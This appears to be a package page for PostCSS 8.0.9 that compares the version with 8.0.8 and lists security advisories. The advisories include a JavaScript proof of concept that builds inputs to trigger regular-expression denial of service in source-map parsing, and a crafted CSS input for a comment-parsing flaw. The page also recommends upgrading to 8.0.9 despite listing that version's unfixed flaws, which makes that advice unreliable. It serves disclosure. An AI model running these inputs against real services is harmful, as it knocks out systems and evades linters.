PostCSS version 8.0.9 represents a minor update to the widely used CSS transformation tool, building upon the foundation laid by version 8.0.8. Both versions, licensed under MIT, offer developers a robust platform for manipulating styles using JavaScript plugins. They share core dependencies, including nanoid, colorette, source-map, and line-column, ensuring consistent functionality for tasks like generating unique IDs, adding color to console output, managing source maps for debugging, and associating strings to line and column numbers. The author remains Andrey Sitnik, and the project continues to be supported through Tidelift funding.
However, subtle distinctions exist. While both versions maintain the same file count of 48 within their distributions, version 8.0.9 presents a slightly larger unpacked size of 194894 bytes compared to 8.0.8's 194817 bytes. This increased size likely indicates minor bug fixes, performance improvements, or small feature additions implemented in 8.0.9. Furthermore, the release date of 8.0.9 is later, indicating a newer, more up-to-date version. Upgrading to 8.0.9 is recommended for developers seeking the most recent enhancements and potential resolution of issues present in the predecessor. Developers leveraging PostCSS can expect minimal disruption during the update, given the continuity of core dependencies and the minor nature of the version bump. The repository link in the package JSON remains consistent, providing easy access to the project’s source code and contribution guidelines.
All the vulnerabilities related to the version 8.0.9 of the package
Regular Expression Denial of Service in postcss
The npm package postcss
from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.